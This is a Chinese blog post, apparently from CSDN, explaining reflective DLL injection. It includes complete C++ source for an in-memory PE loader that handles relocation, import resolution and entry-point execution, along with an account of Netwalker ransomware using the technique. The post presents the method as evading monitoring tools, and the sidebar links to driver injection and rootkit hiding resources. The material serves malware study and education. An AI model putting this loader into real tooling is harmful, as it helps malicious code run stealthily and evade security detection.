dll oem证书导入工具_恶意代码分析之反射型DLL注入

最新推荐文章于 2022-12-19 09:40:50 发布
最新推荐文章于 2022-12-19 09:40:50 发布
阅读量121 收藏
点赞数
文章标签： dll oem证书导入工具 dll 源码 dll导出结构体 dll已加载但找不到入口点dllregisterserver dll注入器 dll注入工具

01

技术概要

这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术，该技术比常规的DLL注入更为隐蔽，因为除了不需要磁盘上的实际DLL文件之外，它也不需要任何Windows加载程序的辅助即可注入。这消除了将DLL注册为进程已加载模块的需求，从而可逃脱工具的监视。

首先准备好测试dll，使用VS2015先编译生成一个测试dll文件，作用是dll被进程附加的时候会执行MessageBox弹框，切记不要选择空项目。如下，在DLL_PROCESS_ATTACH添加一个消息框函数，直接编译生成dll。

cf17df446b3400005d24df7ca6f98fcc.png

下面会根据源码逐步分析整体执行流程，示例代码是模拟内存自加载dll的过程，为了演示所以采用了比较简单的方式，dll文件生成后放在在本地，而真实案例中恶意代码会存在母体文件的内存中，因为需要不落地内存加载。

先声明相应的结构体变量，采用指定位数的方式指定结构体变量实际占用的位数(根据重定位表的特性)，声明一个函数指针便于后续进行调用执行dll入口。

f2091059ab8b4fefacd50fc10cf869cc.png

第一步先通过GetModuleHandleA获取基址，避免ASLR随机基址影响，读取dll文件内容加载至内存中，通过PE结构获取实际加载至内存中dll的PE头部数据。

3c328009475324fa0824801c7085537e.png

分配dll加载时所需的内存空间，获取加载基址与预期基址的差值，接着复制dll头部数据至新的内存空间。

0ad443c505c20eba9a0fe76b29a0467f.png

开始模拟Windows加载器功能加载PE文件至内存，如下。

ae80d0202883c69a947a976e0b1daa71.png

02

PE文件重定位

基址重定位表位于PE头的IMAGE_NT_HEADERS/IMAGE_OPTION_HEADER/IMAGE_DATA_DIRECTORY[5]，换句话说重定位表位于可选头的数据目录表下的第六项，基址重定位表中记录硬编码地址的位置(偏移)，使用这张表就能获得准确的硬编码地址偏移并后续对其修正。重定位表是按照一个物理页(4kb或1000H)进行存储的，也就是一个重定位块负责一个4kb内存页，一个重定位表只管自己当前的物理页重定位。一个重定位表的记录偏移的大小是2个字节(1000H最多需要12bit即可0~FFFH)，也就是16位，而记录偏移的大小是由SizeofBlock决定的。

如何修正？

将指令中的操作数按照指针字节数读取出来，然后将其减去默认加载基址(扩展头中的字段ImageBase)，再加上新的加载基址，最后把新地址存入原来的地址中。

2236485da5dc974ee13ba306e7eb7158.png

重定位工作完成之后，进行导入表的解析。

002a426ff8bcec161a854f474bc0fdca.png

以上工作准备完毕之后，就已经模拟内存加载完成，之后获取dll文件入口点进行执行，利用了之前声明的函数指针。

f13746fa1e9a037f0d3b32353a2d7e68.png

03

示例源码

#include

#include

typedef struct BASE_RELOCATION_BLOCK {

       DWORD PageAddress;

       DWORD BlockSize;

} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {

       USHORT Offset : 12;

       USHORT Type : 4;

} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()

{

       //得到当前模块的基址

       PVOID imageBase = GetModuleHandleA(NULL);

       //本地加载dll内容至内存中

       HANDLE dll =  CreateFileA("C:\\Users\\onion\\Desktop\\dll\\Release\\dll.dll", GENERIC_READ,  NULL, NULL, OPEN_EXISTING, NULL, NULL);

       DWORD64 dllSize = GetFileSize(dll, NULL);

       LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);

       DWORD outSize = 0;

       ReadFile(dll, dllBytes, dllSize, &outSize, NULL);

       //获取已加载至内存中的dll的头部数据

       PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;

       PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes +  dosHeaders->e_lfanew);

       SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

       //分配dll加载时所需的内存空间

       LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase,  dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

       //得到实际分配的内存基址与预期的基址差值,便于后续进行重定向

       DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase -  (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

       //将dll头部数据复制到分配的内存空间

       std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

       //加载节区数据至新的内存空间

       PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);

       for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)

       {

              LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase +  (DWORD_PTR)section->VirtualAddress);

              LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes +  (DWORD_PTR)section->PointerToRawData);

              std::memcpy(sectionDestination, sectionBytes,  section->SizeOfRawData);

              section++;

       }

       // 开始dll加载实现重定位

       IMAGE_DATA_DIRECTORY relocations =  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

       DWORD_PTR relocationTable = relocations.VirtualAddress +  (DWORD_PTR)dllBase;

       DWORD relocationsProcessed = 0;

       while (relocationsProcessed < relocations.Size)

       {

              PBASE_RELOCATION_BLOCK relocationBlock =  (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);

              relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);

              DWORD relocationsCount = (relocationBlock->BlockSize -  sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);

              PBASE_RELOCATION_ENTRY relocationEntries =  (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

              for (DWORD i = 0; i < relocationsCount; i++)

              {

                     relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

                     if (relocationEntries[i].Type == 0)

                     {

                           continue;

                     }

                     DWORD_PTR relocationRVA = relocationBlock->PageAddress +  relocationEntries[i].Offset;

                     DWORD_PTR addressToPatch = 0;

                     ReadProcessMemory(GetCurrentProcess(),  (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR),  NULL);

                     addressToPatch += deltaImageBase;

                     std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA),  &addressToPatch, sizeof(DWORD_PTR));

              }

       }

       //解析导入表

       PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;

       IMAGE_DATA_DIRECTORY importsDirectory =  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

       importDescriptor =  (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);

       LPCSTR libraryName = "";

       HMODULE library = NULL;

       while (importDescriptor->Name != NULL)

       {

              libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;

              library = LoadLibraryA(libraryName);

              if (library)

              {

                     PIMAGE_THUNK_DATA thunk = NULL;

                     thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase +  importDescriptor->FirstThunk);

                     while (thunk->u1.AddressOfData != NULL)

                     {

                           if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))

                           {

                                  LPCSTR functionOrdinal =  (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);

                                  thunk->u1.Function =  (DWORD_PTR)GetProcAddress(library, functionOrdinal);

                           }

                           else

                           {

                                  PIMAGE_IMPORT_BY_NAME functionName =  (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);

                                  DWORD_PTR functionAddress =  (DWORD_PTR)GetProcAddress(library, functionName->Name);

                                  thunk->u1.Function = functionAddress;

                           }

                           ++thunk;

                     }

              }

              importDescriptor++;

       }

       //执行加载的dll

       DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase +  ntHeaders->OptionalHeader.AddressOfEntryPoint);

       (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

       CloseHandle(dll);

       HeapFree(GetProcessHeap(), 0, dllBytes);

       return 0;

}

04

整个流程

1、读入原始DLL文件至内存缓冲区；

2、解析DLL标头并获取SizeOfImage；

3、为DLL分配新的内存空间，大小为SizeOfImage；

4、将DLL标头和PE节复制到步骤3中分配的内存空间；

5、执行重定位；

6、加载DLL导入的库；

7、解析导入地址表(IAT)；

8、调用DLL的DLL_PROCESS_ATTACH；

05

演示效果

8117adf1a35bf2f32b980c9203e7dc07.gif

06

真实案例

Netwalker勒索软件dll自加载技术

恶意文件是一个混淆并加密过的PowerShell脚本，先对PowerShell脚本进行解混淆。解混淆后的内容如下，字节序列中的0x4d、0x5a明显是一个PE文件标志头，一旦加载执行后，这部分内容就在内存中了。

a4323da01e28d026b23423324c79bdb7.png

明显的C#代码模拟解析PE结构，如下。

986b7dddbcc1f4ad602e0f75ad6c6e3b.png

执行自加载执行，如下。

3bf66198b0d66753bb838072fd6528da.png b17bcbbf6157ec91d2db7e0ae9581294.png

更详细的内容可去除混淆后自行查看，该勒索样本实现的反射加载过程非常明显。加载执行后，通过模拟加载dll并调用导出函数Do后进而实现注入目标进程，类似的技术则与开源项目PowerSploit中的反射自加载的Mimikatz脚本实现相类似。

07

参考

https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection

https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

weixin_39963465
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
驱动级进程保护 隐藏 注入
08-04
驱动级进程保护 隐藏 注入 W7 W8 W10 32 64位都支持 不蓝屏
X86软件逆向分析实战（一）
10-21
对于那些“不听话”的软件，怎么办？你是想忍声吞气凑合着用？还是想“修理”一顿，让它乖乖地按照你的意思办？本课程教你“驯服”那些你看中的软件！ 掌握这个技能，无论它是什么软件，只能乖乖按你的意思办！ 课程内容会涉及到与X86软件逆向分析相关的各种杂项与细节实现，其中涵盖OD、CE、IDA、WinAPI、Visual Studio 2019、易语言、C/C++、C#、汇编等使用技巧与编程技巧。若你是编程初学者，认真学习本课程后，你的能力将会有极大的提升。若你是编程大佬，建议勿跳过每一节课，一定会有所收获！
网络靶场实战-免杀技术之dll注入技术详解
蛇矛实验室
12-19 1222
对于 Windows 操作系统，操作系统的大部分功能都是由 DLL 提供的。此外，当您在这些 Windows 操作系统上运行程序时，该程序的大部分功能可能由 DLL 提供。例如，一些程序可能包含许多不同的模块，程序的每个模块都包含在DLL中并分布在DLL中。DLL 的使用有助于促进代码的模块化、代码重用、有效的内存使用和减少磁盘空间。因此，操作系统和程序加载速度更快，运行速度更快，并且在计算机上占用的磁盘空间更少。当程序使用 DLL 时，称为依赖性的问题可能会导致程序无法运行。
windows10驱动 x64--- 驱动实现隐藏驱动模块（五）
weixin_41725706的博客
11-11 694
隐藏任意内核驱动
[Rootkit] dll 隐藏 - VAD
墨鱼菜鸡
06-10 426
3环下要想隐藏dll，仅仅靠断链和抹去PE头信息是不够的；这样做能骗过同样在3环运行的调试器，但是骗不过在0环通过驱动做检测的PChunter、Process Hacker等工具；要想彻底隐藏，需要更进一步搞定驱动层的各种...
驱动注入DLL指定进程.rar_dll注入_驱动 dll注入_驱动注入_驱动级注入dll_驱动进程
07-15
驱动注入技术广泛应用于各种场景，如系统监控、安全软件、调试工具等，但同时也可能被恶意软件滥用，进行恶意活动。因此，理解并合理使用驱动注入技术对于提高软件的安全性和功能性具有重要意义。 在实际应用中，...
DLL_injection.rar_DLLINJECTION_DLL_injection_vc 代码注入_代码注入_远程注入
09-19
远程注入DLL进程的VC源代码 是不可多得的源代码 是近段时间才兴起的技术
DLL.rar_dll_dll 注入_dll注入_注入程序dll_游戏注入dll
09-14
DLL注入是一种技术，通过此技术，一个进程可以将自身的代码注入到另一个正在运行的进程中，使得目标进程在不知情的情况下执行注入的代码。这种技术在软件开发、调试、性能分析以及恶意软件中都有应用。 DLL注入通常...
dll.rar_GameSpider_GameSpider.dll_dll 注入_dll注入_注入dll
09-24
在计算机编程和系统操作中，DLL（动态链接库）注入是一种常见的技术手段，它允许一个进程将自己的代码注入到另一个进程中执行，以此来实现某些特定功能或者控制目标进程的行为。本文将深入探讨“dll注入”这一主题，...
ReflectiveDLLInjection.zip_PE Loader_brownn4u_inject_加载 pe_反射型DL
09-24
反射DLL注入是一种库注入技术，其中采用反射编程的概念来执行从存储器到主进程的库的加载。因此，库负责通过实现最小的可移植可执行文件（PE）文件加载器来加载自身。然后，它可以通过与主机系统和进程的最小交互来...
完美的内存中加载DLL支持32位和64位DLL
02-20
一位高手写的内存中加载DLL的源代码，支持32位和64位的DLL，支持XE，完美的处理32/64位Windows动态库的加载模，网上很少能下载到了，放到这里备份一下
驱动DLL注入源码
12-23
驱动DLL注入源码 没有什么好说的 ，超级强的源码
DLL驱动级注入源码
10-16
DLL驱动级注入C++源码，都懂的，驱动级拥有系统最高权限，可以注入任意游戏。
易语言实现DLL的注入 与 隐藏源码-易语言
06-12
易语言实现DLL的注入 与 隐藏源码
离线注入驱动
07-03
PE下使用换主板无法系统删除驱动用
使用LdrLoadDll 注入DLL，支持注入64位dll
06-03
源码是c++代码翻译过来的, 所以, 那些指针读写的偏移我就不做过多的讲解.....那些偏移都是对应某个成员.... 众所周知, 易语言的数据类型是个坑, 所以, 申请一块空间当成一个结构使用了。愿意研究的话, 结构是这个。注入流程:。1. 创建远程线程。2. 注入一段代码到目标进程里执行。3. 这段代码调用 LdrLoadDll 加载dll。4. 调用 LdrGetProcedureAddress 获取函数地址, 然后调用, 返回。2021-12-17 更新。使用了eWOW64Ext http://www.sanye.cx/?id=12671。1. 注入32位进程只能使用32位的dll。2. 注入64位进程只能使用64位的dll。支持注入任务管理器。@福仔。
MagicWall-master ( 火绒注入demo ).zip_DEMO_magic wall_内核注入_火绒注入_驱动注入
07-14
火绒注入手法便是如此了,别人的源码,转来的
LdrLoadDll驱动dll注入源码
01-20
通过LdrLoadDl的驱动级dll注入源码 在xp系统可以注入dll到保护的进程
驱动DLL注入,APC注入，驱动回调注入等实现详细流程及代码！
QQ1289671197的博客
10-16 5459
DLL注入有很多方法，远线程，钩子，输入法，劫持，APC等等。 现在的好多进程都有保护，特别是一些游戏有各种保护如TP TS HS NP CD GPK BE SG3等等保护，这样常规的注入方法就没效果了。 现在流行且稳定的注入方法一般都要用驱动来实现了，驱动注入，APC，回调等都可以用驱动注入。 驱动部分代码： #include "apc_inject_test.h" #include "asm_...
安卓unity 3d dll文件解密工具get_dll_from_dumped_bin.exe
最新发布
11-02
Get_dll_from_dumped_bin.exe是一种安卓Unity 3D DLL文件解密工具。在游戏或应用程序中，开发者通常会将一些敏感或重要的代码以DLL文件的形式保存起来，以防止被未经授权的人员访问或修改。然而，有时候我们可能需要...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值